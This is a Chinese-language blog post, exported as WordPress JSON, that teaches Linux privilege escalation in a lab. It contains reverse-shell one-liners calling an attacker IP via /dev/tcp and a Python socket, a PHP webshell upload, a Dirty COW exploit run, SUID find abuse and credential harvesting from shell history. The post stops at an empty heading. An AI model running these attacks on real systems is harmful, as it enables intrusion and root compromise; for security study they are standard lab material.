{"id":581,"date":"2020-11-12T23:00:04","date_gmt":"2020-11-12T15:00:04","guid":{"rendered":"https:\/\/byy3.com\/?p=581"},"modified":"2021-01-09T10:14:00","modified_gmt":"2021-01-09T02:14:00","slug":"linux%e6%93%8d%e4%bd%9c%e7%b3%bb%e7%bb%9f%e6%8f%90%e6%9d%83","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=581","title":{"rendered":"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743"},"content":{"rendered":"

\u524d\u8a00\uff1a<\/h2>\n

\u4e0a\u6b21\u5b66\u4e60\u4e86Windows\u64cd\u4f5c\u7cfb\u7edf\u7684\u63d0\u6743\u4ee5\u53ca\u76f8\u5173\u5de5\u5177\u7684\u5229\u7528\uff0c\u8fd9\u6b21\u5c31\u6765\u5b66\u4e60\u4e00\u4e0bLinux\u64cd\u4f5c\u7cfb\u7edf\u7684\u63d0\u6743<\/p>\n

Linux\u63d0\u6743\u57fa\u7840<\/h2>\n

\u5f3a\u70c8\u63a8\u8350exp\u5730\u5740<\/a>\u00a0 \u63d0\u6743\u5efa\u8bae \u53d1\u73b0[+] [CVE-2019-15666] XFRM_UAF<\/strong><\/p>\n

0x00:Linux\u63d0\u6743\u65b9\u6cd5<\/h4>\n

\u5927\u81f4\u5f52\u7eb3\u603b\u7ed3\u5982\u4e0b\uff1a<\/strong>
\n\"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe\"<\/a>
\n\u4e0d\u8fc7\u6700\u6838\u5fc3\u4e5f\u662f\u6700\u5e38\u89c1\u7684\u63d0\u53d6\u65b9\u6cd5\u8fd8\u662f\u5185\u6838\u63d0\u6743<\/strong>\uff0c\u5176\u4ed6\u5927\u591a\u4e0e\u7a0b\u5e8f\u5458\u7684\u914d\u7f6e\u6709\u5173\uff0c\u51fa\u73b0\u7684\u51e0\u7387\u4e0d\u662f\u5f88\u9ad8\u3002<\/p>\n

0x01:Linux\u63d0\u6743\u57fa\u7840\u77e5\u8bc6<\/h4>\n
\n
uname<\/span> -<\/span>a<\/span>\r\n\u67e5\u770b\u5185\u6838\u7248\u672c<\/span>\r\nid<\/span>\r\n\u663e\u793a\u7528\u6237\u7684<\/span>ID<\/span>\uff0c\u4ee5\u53ca\u6240\u5c5e\u7fa4\u7ec4\u7684<\/span>ID<\/span>\r\npwd<\/span>\r\n\u663e\u793a\u5f53\u524d\u8def\u5f84<\/span>\r\ndpkg<\/span> -<\/span>l<\/span>\r\nrpm<\/span> -<\/span>qa<\/span>\r\n\u67e5\u770b\u5df2\u7ecf\u5b89\u88c5\u7684\u7a0b\u5e8f<\/span>\r\ncat<\/span> \/<\/span>etc<\/span>\/<\/span>issue<\/span>\r\ncat<\/span> \/<\/span>etc<\/span>\/*-release<\/span>\r\n\u67e5\u770b\u53d1\u884c\u7248<\/span>\r\n<\/pre>\n<\/div>\n
\u5bc6\u7801\u6743\u9650<\/strong><\/p>\n
\u5927\u90e8\u5206Linux\u7cfb\u7edf\u7684\u5bc6\u7801\u90fd\u548c\/etc\/passwd<\/code>\u548c\/etc\/shadow<\/code>\u8fd9\u4e24\u4e2a\u914d\u7f6e\u6587\u4ef6\u6709\u5173\uff0cpasswd<\/code>\u91cc\u9762\u50a8\u5b58\u7684\u662f\u7528\u6237<\/strong>\uff0cshadow<\/code>\u91cc\u9762\u5b58\u50a8\u7684\u662f\u5bc6\u7801\u7684hash\u503c<\/strong>\u3002\u51fa\u4e8e\u5b89\u5168\u8003\u8651passwd\u662f\u5168\u7528\u6237\u53ef\u8bfb\uff0croot\u53ef\u5199\u7684\uff0c\u800cshadow\u662f\u4ec5root\u53ef\u8bfb\u5199\u7684\u3002<\/p><\/blockquote>\n
\/etc\/passwd<\/code>
\n\"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe1\"<\/a>
\npasswd\u7531\u5192\u53f7\u5206\u5272\uff0c\u7b2c\u4e00\u5217\u662f\u7528\u6237\u540d\uff0c\u7b2c\u4e8c\u5217\u662f\u5bc6\u7801\uff0cx\u4ee3\u8868\u5bc6\u7801hash\u88ab\u653e\u5728shadow\u91cc\u9762.<\/p>\n
\/etc\/shadow<\/code>
\n\"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe2\"<\/a>
\nshadow\u91cc\u9762\u7684\u5c31\u662f\u5bc6\u7801\u7684hash\uff0c\u4f46\u53ea\u6709root\u6743\u9650\u624d\u53ef\u4ee5\u67e5\u770b\u3002<\/p>\n
\u5bc6\u7801\u590d\u7528<\/strong><\/p>\n
\u53e6\u5916\u9700\u8981\u6ce8\u610f\u7684\u662f\u5f88\u591a\u7ba1\u7406\u5458\u4f1a\u91cd\u590d\u4f7f\u7528\u5bc6\u7801\uff0c\u6240\u4ee5\u6709\u53ef\u80fd\u6570\u636e\u5e93\u6216\u8005web\u540e\u53f0\u7684\u5bc6\u7801\u5c31\u662froot\u5bc6\u7801\u3002<\/p>\n
\u63d0\u6743\u5e38\u89c1\u7684\u6d41\u7a0b<\/strong><\/p>\n
    \n
  1. wget http:\/\/exp\/exp.c<\/code>\n
    \n
    \u4e0b\u8f7d<\/span>exp\u6587\u4ef6<\/span>\r\n<\/pre>\n<\/div>\n<\/li>\n
  2. gcc -o exp exp.c<\/code>\n
    \n
    \u5229\u7528<\/span>gcc\u8fdb\u884c\u7f16\u8bd1\u64cd\u4f5c<\/span>\uff0c\u7f16\u8bd1\u6210\u4e8c\u8fdb\u5236\u6587\u4ef6<\/span>\r\n<\/pre>\n<\/div>\n<\/li>\n
  3. chmod +x exp<\/code>\n
    \n
    \u5c06<\/span>exp\u66f4\u6539\u4e3a\u53ef\u6267\u884c\u6743\u9650<\/span>\r\n<\/pre>\n<\/div>\n<\/li>\n
  4. .\/exp<\/code><\/li>\n<\/ol>\n
    \n
    \u8fd0\u884c<\/span>exp\u8fdb\u884c\u63d0\u6743<\/span>\r\n<\/pre>\n<\/div>\n
    0x02:Linux\u53cd\u5f39shell<\/h4>\n
    Linux\u4e00\u822c\u62ff\u5230shell<\/code>\uff0c\u6743\u9650\u57fa\u672c\u90fd\u5f88\u4f4e,\u800c\u4e14\u5728\u83dc\u5200\u6216\u5176\u4ed6\u5de5\u5177\u4e2d\u6267\u884c\u547d\u4ee4\u6ca1\u6709\u4ea4\u4e92\u8fc7\u7a0b<\/strong>\uff08\u5728\u83dc\u5200\u7b49\u5de5\u5177\u4e2d\uff0c\u53ea\u662f\u8f93\u5165\u8fd4\u56de\u5185\u5bb9\uff0c\u5982\u5728\u83dc\u5200\u4e2d\u6267\u884cssh<\/code>\u7b49\u547d\u4ee4\u5c31\u4e0d\u53ef\u884c\uff09\uff0c\u6240\u4ee5\u9700\u8981\u901a\u8fc7\u53cd\u5f39shell<\/strong>\u62e5\u6709\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u7684shell<\/strong>\u3002<\/p>\n
    \u51c6\u5907\u73af\u5883<\/strong><\/p>\n
    \n
    ubuntu<\/span> +<\/span> apache<\/span>\r\nkail<\/span> 192.168.186.134<\/span>\r\nubuntu<\/span> 192.168.186.152<\/span>\r\n<\/pre>\n<\/div>\n
    \u4e0a\u4f20\u8fdb\u53bb\u4e00\u4e2aphp<\/code>\u4e00\u53e5\u8bdd\u6728\u9a6c\uff0c\u83dc\u5200\u8fde\u63a5
    \n\"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe3\"<\/a>
    \n\u67e5\u770b\u5f53\u524d\u6743\u9650
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe4\"<\/a>
    \n\u4e0b\u9762\u5c31\u4f7f\u7528\u53cd\u5f39shell<\/strong>\u7684\u65b9\u6cd5\u83b7\u53d6\u5230\u4ea4\u4e92\u5f0fshell<\/strong><\/p>\n
    \u7b2c\u4e00\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n
    \u5229\u7528\u6700\u7ecf\u5178\u4e5f\u662f\u6700\u5e38\u7528\u7684\u65b9\u6cd5\u8fdb\u884c\u53cd\u5f39shell\uff0c\u53e6\u5916\u53cd\u5f39shell\u65f6\u8bbe\u7f6e\u7684\u7aef\u53e3\u6700\u597d\u662f\u5e38\u7528\u7aef\u53e3\uff0c\u4e0d\u5e38\u7528\u7684\u7aef\u53e3\u53ef\u80fd\u4f1a\u88ab\u9632\u706b\u5899\u7ed9\u62e6\u622a\u6389\u3002<\/p><\/blockquote>\n
    \n
    \u5148\u8fdb\u884c\u672c\u5730\u8fdb\u884c\u76d1\u542c<\/span>:<\/span>\r\nnc<\/span> -<\/span>lvp<\/span> 53<\/span>\r\n\u7136\u540e\u5728\u62ff\u5230<\/span>shell\u7684\u673a\u5668\u4e0a\u6267\u884c<\/span>:<\/span>\r\nbash<\/span> -<\/span>i<\/span> >&<\/span> \/<\/span>dev<\/span>\/<\/span>tcp<\/span>\/<\/span>192.168.186.134<\/span>\/<\/span>53<\/span> 0<\/span>>&<\/span>1<\/span>\r\n<\/pre>\n<\/div>\n
    \u4f46\u662f\u6267\u884c\u5931\u8d25\u4e86\uff0c\u6ca1\u6709\u6743\u9650
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe5\"<\/a><\/p>\n
    \u7b2c\u4e8c\u79cd\u65b9\u6cd5\uff1a<\/strong><\/p>\n
    \u5229\u7528python\u811a\u672c\u8fdb\u884c\u53cd\u5f39shell\uff0c\u8981\u5c06\u811a\u672c\u4e0a\u4f20\u5230\u670d\u52a1\u5668\u4e0a\u5c31\u8981\u627e\u4e00\u4e2a\u4f4e\u6743\u9650\u7528\u6237\u53ef\u4ee5\u4e0a\u4f20\u4e14\u53ef\u4ee5\u6267\u884c\u7684\u76ee\u5f55\uff0c\u4e00\u822c\u5728tmp<\/code>\u6216\u8005\/var\/tmp<\/code>\u4e2d\u5c31\u6709\u8fd9\u6837\u7684\u6743\u9650
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe6\"<\/a>
    \n    pyshell<\/a><\/p>\n
    \n
    \u4f7f\u7528\u65b9\u6cd5<\/span>:<\/span>\r\n\u672c\u5730\u76d1\u542c<\/span> \uff1a<\/span>nc<\/span> -<\/span>l<\/span> -<\/span>p<\/span> 53<\/span> -<\/span>vv<\/span>\r\n\u76ee\u6807\u673a\u5668\u6267\u884c\uff1a<\/span>python<\/span> back<\/span>.<\/span>py<\/span> 192.168.186.134<\/span> 53<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe7\"<\/a><\/p>\n
    \u53cd\u5f39\u6210\u529f\uff0c\u8fd9\u6837\u5c31\u5f62\u6210\u4e86\u4e00\u4e2a\u4ea4\u4e92\u5f0f\u7684shell\uff0c\u65b9\u4fbf\u4e0b\u4e00\u6b65\u7684\u8fdb\u884c<\/p>\n
    \u5982\u679c\u5728\u4f7f\u7528python\u6587\u4ef6\u6ca1\u6709\u6743\u9650\u65f6\uff0c\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5373\u53ef,\u56e0\u4e3a\u8be5\u6587\u4ef6\u662f\u5f53\u524d\u7528\u6237\u4e0a\u4f20\u8fdb\u53bb\u7684\uff0c\u62e5\u6709\u4fee\u6539\u7684\u6743\u9650\u3002<\/p>\n
    \n
    chmod<\/span> 777<\/span> back<\/span>.<\/span>py<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe8\"<\/a><\/p>\n
    0x03:\u810f\u725b\u63d0\u6743<\/h4>\n
    Dirty COW\uff0cCVE-2016-5195<\/code>\uff0c\u653b\u51fb\u8005\u53ef\u5229\u7528\u8be5\u6f0f\u6d1e\u672c\u5730\u4ee5\u4f4e\u6743\u9650\u63d0\u5347\u5230root\u6743\u9650\u3002Dirty COW \u662f\u4e00\u4e2a\u7279\u6743\u5347\u7ea7\u6f0f\u6d1e\uff0c\u53ef\u4ee5\u5728\u6bcf\u4e2aLinux\u53d1\u884c\u7248<\/code>\u4e2d\u627e\u5230\u3002\u8fd9\u4e2a\u6f0f\u6d1e\u7684\u7279\u522b\u4e4b\u5904\u5728\u4e8e\uff0c\u9632\u75c5\u6bd2\u548c\u5b89\u5168\u8f6f\u4ef6\u65e0\u6cd5\u68c0\u6d4b\uff0c\u4e00\u65e6\u88ab\u5229\u7528\uff0c\u6839\u672c\u65e0\u4ece\u77e5\u6653\u3002<\/p><\/blockquote>\n
    \n
    \u6f0f\u6d1e\u5728\u5168\u7248\u672c<\/span>Linux\u7cfb\u7edf<\/span>(<\/span>Linux<\/span> kernel<\/span> >=<\/span> 2.6.22<\/span>)<\/span>\u5747\u53ef\u4ee5\u5b9e\u73b0\u63d0\u6743<\/span>\r\n\u5982\u679c\u5185\u6838\u7248\u672c\u4f4e\u4e8e\u5217\u8868\u91cc\u7684\u7248\u672c\uff0c\u8868\u793a\u8fd8\u5b58\u5728\u810f\u725b\u6f0f\u6d1e<\/span>\r\nCentos7<\/span> \/<\/span>RHEL7<\/span> 3.10.0<\/span>-<\/span>327.36.3<\/span>.<\/span>el7<\/span>\r\nCetnos6<\/span>\/<\/span>RHEL6<\/span> 2.6.32<\/span>-<\/span>642.6.2<\/span>.<\/span>el6<\/span>\r\nUbuntu<\/span> 16.10<\/span> 4.8.0<\/span>-<\/span>26.28<\/span>\r\nUbuntu<\/span> 16.04<\/span> 4.4.0<\/span>-<\/span>45.66<\/span>\r\nUbuntu<\/span> 14.04<\/span> 3.13.0<\/span>-<\/span>100.147<\/span>\r\nDebian<\/span> 8<\/span> 3.16.36<\/span>-<\/span>1<\/span>+<\/span>deb8u2<\/span>\r\nDebian<\/span> 7<\/span> 3.2.82<\/span>-<\/span>1<\/span>\r\n<\/pre>\n<\/div>\n
    exp\u5730\u5740<\/a><\/p>\n
    \u5728\u53cd\u5f39shell\u6210\u529f\u7684\u57fa\u7840\u4e0a\u7ee7\u7eed\u6765\u505a<\/p>\n
    \u5148\u6765\u770b\u4e00\u4e0b\u64cd\u4f5c\u7cfb\u7edf\u7684\u7248\u672c\uff0c\u4f4e\u4e8e\u5217\u8868\u91cc\u7684\u7248\u672c\u5373\u5b58\u5728\u810f\u725b\u6f0f\u6d1e<\/p>\n
    \n
    uname<\/span> -<\/span>r<\/span>\r\n<\/pre>\n<\/div>\n
    \u901a\u8fc7\/etc\/passwd<\/code>\u4e86\u89e3\u5230\u8d85\u7ea7\u7ba1\u7406\u5458\u662froot
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe9\"<\/a>
    \n\u67e5\u770b\u4e0b\u5f53\u524d\u7528\u6237\u7684id
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe10\"<\/a>
    \n\u4e0b\u8f7dexp\u6587\u4ef6<\/p>\n
    \n
    wget<\/span> https<\/span>:<\/span>\/\/github.com\/FireFart\/dirtycow\/blob\/master\/dirty.c<\/span>\r\n<\/pre>\n<\/div>\n
    \u53ef\u4ee5\u770bexp\u4e2d\u7684\u8bf4\u660e\u6765\u6267\u884c\u547d\u4ee4
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe11\"<\/a>
    \n\u5148\u901a\u8fc7gcc\u6765\u7f16\u8bd1dirty.c\u6587\u4ef6<\/p>\n
    \n
    gcc<\/span> -<\/span>pthread<\/span> dirty<\/span>.<\/span>c<\/span> -<\/span>o<\/span> dirty<\/span> -<\/span>lcrypt<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe12\"<\/a>
    \n\u7f16\u8bd1\u597d\u7684dirty\u6587\u4ef6\uff0c\u66ff\u6362root\u7528\u6237<\/p>\n
    \n
    .<\/span>\/<\/span>dirty<\/span>\r\n<\/pre>\n<\/div>\n
    \u6210\u529f\u66ff\u6362\u6389\u4e86\u539f\u6765\u7684root\u7528\u6237\uff0c\u63d0\u6743\u6210\u529f\u3002
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe13\"<\/a>
    \n\u810f\u725b\u63d0\u6743\u9664\u4e0b\u8fd9\u4e2aexp\uff0c\u8fd8\u6709\u5176\u4ed6\u7684\uff0c\u4f8b\u5982\uff1aCVE-2016-5195<\/code>\uff0c\u5177\u4f53\u5c31\u4e0d\u5728\u6f14\u793a\u4e86\uff0c\u6309\u7167\u8bf4\u660e\u5373\u53ef\uff0c\u6ce8\u610f\u6587\u4ef6\u540d\u4e0d\u5bf9\uff0c\u81ea\u5df1\u6539\u4e0b\u5c31\u597d\u3002
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe14\"<\/a><\/p>\n
    Linux\u63d0\u6743\u5b9e\u6218<\/h2>\n
    0x00:Linux\u5206\u6790\u5de5\u5177<\/h4>\n
    Linux-exploit-suggester<\/h6>\n
    Linux\u6743\u9650\u63d0\u5347\u5ba1\u6838\u5de5\u5177,\u662f\u57fa\u4e8e\u64cd\u4f5c\u7cfb\u7edf\u7684\u5185\u6838\u7248\u672c\u53f7\u3002\u7a0b\u5e8f\u4f1a\u6267\u884c\u201cuname -r\u201d\u547d\u4ee4\u6765\u83b7\u53d6Linux\u64cd\u4f5c\u7cfb\u7edf\u53d1\u884c\u7248\u672c\uff0c\u4e4b\u540e\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u4e86\u9002\u7528exploits\u7684\u63d0\u793a\u5217\u8868\u3002<\/p><\/blockquote>\n
    Linux-exploit-suggester<\/a><\/p>\n
    \n
    .<\/span>\/<\/span>linux<\/span>-<\/span>exploit<\/span>-<\/span>suggester<\/span>.<\/span>sh<\/span>\r\n<\/pre>\n<\/div>\n
    \u6267\u884c\u547d\u4ee4\u5373\u53ef
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe15\"<\/a>
    \n\u8fd9\u6837\u5c31\u5c06\u5b58\u5728\u7684\u6f0f\u6d1e\u5448\u73b0\u4e86\u51fa\u6765\uff0c\u5229\u7528exp\u63d0\u6743\u5373\u53ef\uff0c\u975e\u5e38\u65b9\u4fbf.<\/p>\n
    Searchsploit<\/h6>\n
    Searchsploit\u901a\u8fc7\u672c\u5730\u7684exploit-db\uff0c \u67e5\u627e\u8f6f\u4ef6\u6f0f\u6d1e\u4fe1\u606f<\/p><\/blockquote>\n
    \u4f7f\u7528\u65b9\u6cd5\uff1a<\/strong><\/p>\n
    \n
    searchsploit<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe16\"<\/a><\/p>\n
    \u5982\u9700\u67e5\u770bCentOS 7 \u5185\u6838\u7248\u672c\u4e3a3.10<\/strong>\u7684\u5185\u6838\u6f0f\u6d1e<\/p>\n
    \n
    searchsploit<\/span> centos<\/span> 7<\/span> kernel<\/span> 3.10<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe17\"<\/a><\/p>\n
    \u77e5\u9053\u8be5\u5185\u6838\u7248\u672c\u4e0b\u5b58\u5728\u54ea\u4e9b\u6f0f\u6d1e\u5373\u53ef\u8fdb\u884c\u63d0\u6743\u64cd\u4f5c<\/p>\n
    0x02:SUID\u63d0\u6743<\/h4>\n
    \u4ec0\u4e48\u662fSUID<\/strong><\/h6>\n
    \u5728Linux\u4e2d\uff0c\u5b58\u5728suid\u3001guid\u3001sticky\uff0cSUID\uff08\u8bbe\u7f6e\u7528\u6237ID\uff09\u662f\u8d4b\u4e88\u6587\u4ef6\u7684\u4e00\u79cd\u6743\u9650\uff0c\u5b83\u4f1a\u51fa\u73b0\u5728\u6587\u4ef6\u62e5\u6709\u8005\u6743\u9650\u7684\u6267\u884c\u4f4d\u4e0a\uff0c\u5177\u6709\u8fd9\u79cd\u6743\u9650\u7684\u6587\u4ef6\u4f1a\u5728\u5176\u6267\u884c\u65f6\uff0c\u4f7f\u8c03\u7528\u8005\u6682\u65f6\u83b7\u5f97\u8be5\u6587\u4ef6\u62e5\u6709\u8005\u7684\u6743\u9650\u3002<\/p><\/blockquote>\n
    \u5982\u679c\u60f3\u8981\u4e3a\u6587\u4ef6\u9644\u4e0a\u8fd9\u6837\u7684\u6743\u9650\u547d\u4ee4\uff1a<\/p>\n
    \n
    chmod<\/span> u<\/span>+<\/span>s<\/span>\r\nchmod<\/span> 4755<\/span>\r\n<\/pre>\n<\/div>\n
    \uff08\u6709s<\/code>\u6807\u5fd7\u4f4d\u4fbf\u662f\u62e5\u6709SUID\u6743\u9650\uff09<\/p>\n
    \u5177\u4f53\u7684\u8bdd\u5927\u81f4\u7406\u89e3\u5c31\u662f\u901a\u8fc7\u62e5\u6709SUID\u6743\u9650\u4e8c\u8fdb\u5236\u6587\u4ef6\u6216\u7a0b\u5e8f\u53ef\u4ee5\u6267\u884c\u547d\u4ee4\u7b49\uff0c\u4ece\u800c\u8fdb\u884croot\u63d0\u6743\u64cd\u4f5c
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe18\"<\/a>
    \n\u67e5\u627e\u7b26\u5408\u6761\u4ef6\u7684\u6587\u4ef6<\/strong><\/p>\n
    \n
    find<\/span> \/<\/span> -<\/span>user<\/span> root<\/span> -<\/span>perm<\/span> -<\/span>4000<\/span> -<\/span>print<\/span> 2<\/span>>\/<\/span>dev<\/span>\/<\/span>null<\/span>\r\nfind<\/span> \/<\/span> -<\/span>perm<\/span> -<\/span>u<\/span>=<\/span>s<\/span> -<\/span>type<\/span> f<\/span> 2<\/span>>\/<\/span>dev<\/span>\/<\/span>null<\/span>\r\nfind<\/span> \/<\/span> -<\/span>user<\/span> root<\/span> -<\/span>perm<\/span> -<\/span>4000<\/span> -<\/span>exec<\/span> ls<\/span> -<\/span>ldb<\/span> {}<\/span> \\<\/span>;<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe19\"<\/a>
    \n\u4e0a\u9762\u7684\u6240\u6709\u4e8c\u8fdb\u5236\u6587\u4ef6\u90fd\u53ef\u4ee5\u5728root\u6743\u9650\u4e0b\u8fd0\u884c\uff0c\u56e0\u4e3a\u5c5e\u4e3b\u662froot\uff0c\u4e14\u6743\u9650\u4e2d\u542b\u6709s<\/p>\n
    \u4e0b\u9762\u5c31\u4ee5find\u547d\u4ee4\u6765\u5b9e\u8df5\u4e00\u4e0b\uff0c\u9996\u5148\u8981\u7ed9find\u8bbe\u5f53SUID\u6743\u9650<\/p>\n
    \n
    chmod<\/span> u<\/span>+<\/span>s<\/span> \/<\/span>usr<\/span>\/<\/span>bin<\/span>\/<\/span>find<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe20\"<\/a>
    \n\u5982\u679cFind\u547d\u4ee4\u4e5f\u662f\u4ee5Suid\u6743\u9650\u8fd0\u884c\u7684\u8bdd\uff0c\u5219\u5c06\u901a\u8fc7find\u6267\u884c\u7684\u6240\u6709\u547d\u4ee4\u90fd\u4f1a\u4ee5root\u6743\u9650\u6267\u884c\u3002<\/p>\n
    \u5f53\u524d\u7528\u6237\u4e3a
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe21\"<\/a>
    \n\u968f\u4fbf\u627e\u4e00\u4e2a\u6587\u4ef6\u4e3b\u8981\u662f\u4e3a\u4e86\u6267\u884c\u540e\u9762\u7684\u547d\u4ee4<\/p>\n
    \n
    \/<\/span>usr<\/span>\/<\/span>bin<\/span>\/<\/span>find<\/span> pass<\/span>.<\/span>txt<\/span> -<\/span>exec<\/span> whoami<\/span> \\<\/span>;<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe22\"<\/a>
    \n\u63d0\u6743\u6210\u529f\uff0c\u63a5\u4e0b\u6765\u4ee5root\u7528\u6237\u7684\u8eab\u4efd\u53cd\u5f39shell<\/p>\n
    \n
    \/<\/span>usr<\/span>\/<\/span>bin<\/span>\/<\/span>find<\/span> pass<\/span>.<\/span>txt<\/span> -<\/span>exec<\/span> python<\/span> -<\/span>c<\/span> '<\/span>import<\/span> socket<\/span>,<\/span>subprocess<\/span>,<\/span>os<\/span>;<\/span>s<\/span>=<\/span>socket<\/span>.<\/span>socket<\/span>(<\/span>socket<\/span>.<\/span>AF_INET<\/span>,<\/span>socket<\/span>.<\/span>SOCK_STREAM<\/span>);<\/span>s<\/span>.<\/span>connect<\/span>((<\/span>\"192.168.186.150\"<\/span>,<\/span>53<\/span>));<\/span>os<\/span>.<\/span>dup2<\/span>(<\/span>s<\/span>.<\/span>fileno<\/span>(),<\/span>0<\/span>);<\/span> os<\/span>.<\/span>dup2<\/span>(<\/span>s<\/span>.<\/span>fileno<\/span>(),<\/span>1<\/span>);<\/span> os<\/span>.<\/span>dup2<\/span>(<\/span>s<\/span>.<\/span>fileno<\/span>(),<\/span>2<\/span>);<\/span>p<\/span>=<\/span>subprocess<\/span>.<\/span>call<\/span>([<\/span>\"\/bin\/sh\"<\/span>,<\/span>\"-i\"<\/span>]);<\/span>'<\/span> \\<\/span>;<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe23\"<\/a>
    \n\u5982\u679c\u51fa\u73b0\u5982\u4e0b\u9519\u8bef\uff0c\u5173\u95ed\u4e24\u8fb9\u7684\u9632\u706b\u5899\u5373\u53ef
    \n    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe24\"<\/a>
    \n\u53cd\u5f39shell\u6210\u529f\uff0c\u5f53\u7136\u8fd8\u6709\u5176\u4ed6\u547d\u4ee4\u53ef\u4ee5\u8fdb\u884c\u63d0\u6743\uff0c\u524d\u63d0\u662f\u8981\u6709SUID\u6743\u9650\uff0c\u8fd9\u91cc\u5c31\u4e0d\u518d\u4e3e\u4f8b\u4e86\u3002<\/p>\n
    0x03:\u5386\u53f2\u8bb0\u5f55\u63d0\u6743<\/h4>\n
    \u901a\u8fc7\u67e5\u770b\u5386\u53f2\u8bb0\u5f55\uff0c\u67e5\u770b\u662f\u5426\u6709\u6709\u7528\u7684\u4fe1\u606f\uff0c\u6709\u7684\u7ba1\u7406\u5458\u4e3a\u4e86\u65b9\u4fbf\u767b\u9646mysql\u6216\u5176\u4ed6\u8f6f\u4ef6\u65f6\uff0c\u4e0d\u7ecf\u610f\u95f4\u52a0\u4e0a\u53c2\u6570-p<\/code>,\u4ece\u800c\u5c06\u5bc6\u7801\u66b4\u9732\u51fa\u6765\u6216\u8005\u4e00\u4e9b.sh<\/code>\u811a\u672c\u8fde\u63a5mysql\u3001vpn\u7b49\uff0c\u67e5\u770b\u5bf9\u5e94\u7684\u914d\u7f6e\u6587\u4ef6\u5373\u53ef\u62ff\u5230\u8d26\u53f7\u5bc6\u7801<\/p><\/blockquote>\n
    \n
    cat<\/span> ~\/<\/span>.<\/span>bash_history<\/span>\r\n\u4fdd\u5b58\u4e86\u5f53\u524d\u7528\u6237\u4f7f\u7528\u8fc7\u7684\u5386\u53f2\u547d\u4ee4<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe25\"<\/a>
    \n\u5982\u679c\u62ff\u5230\u6570\u636e\u5e93\u7684\u8d26\u53f7\u5bc6\u7801\uff0c\u6709\u53ef\u80fd\u5c31\u662froot\u5bc6\u7801<\/p>\n
    0x04:\u8ba1\u5212\u4efb\u52a1\u63d0\u6743<\/h4>\n
    \u7cfb\u7edf\u5185\u53ef\u80fd\u4f1a\u6709\u4e00\u4e9b\u5b9a\u65f6\u6267\u884c\u7684\u4efb\u52a1\uff0c\u4e00\u822c\u8fd9\u4e9b\u4efb\u52a1\u7531crontab\u6765\u7ba1\u7406\uff0c\u5177\u6709\u6240\u5c5e\u7528\u6237\u7684\u6743\u9650\u3002\u975eroot\u6743\u9650\u7684\u7528\u6237\u662f\u4e0d\u53ef\u4ee5\u5217\u51faroot\u7528\u6237\u7684\u8ba1\u5212\u4efb\u52a1\u7684\u3002\u4f46\u662f\/etc\/\u5185\u7cfb\u7edf\u7684\u8ba1\u5212\u4efb\u52a1\u53ef\u4ee5\u88ab\u5217\u51fa<\/p><\/blockquote>\n
    \n
    ls<\/span> -<\/span>l<\/span> \/<\/span>etc<\/span>\/<\/span>cron<\/span>*<\/span>\r\n<\/pre>\n<\/div>\n
    \"Linux\u64cd\u4f5c\u7cfb\u7edf\u63d0\u6743\u63d2\u56fe26\"<\/a>
    \n\u9ed8\u8ba4\u8fd9\u4e9b\u7a0b\u5e8f\u662f\u4ee5root\u6743\u9650\u6267\u884c\uff0c\u5982\u679c\u6709\u4efb\u610f\u7528\u6237\u53ef\u5199\u7684\u811a\u672c\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4fee\u6539\u811a\u672c\u7b49\u56de\u8fderootshell\u4e86\u3002<\/p>\n
    0x05:\u914d\u7f6e\u9519\u8bef\u5f15\u53d1\u63d0\u6743<\/h4>\n
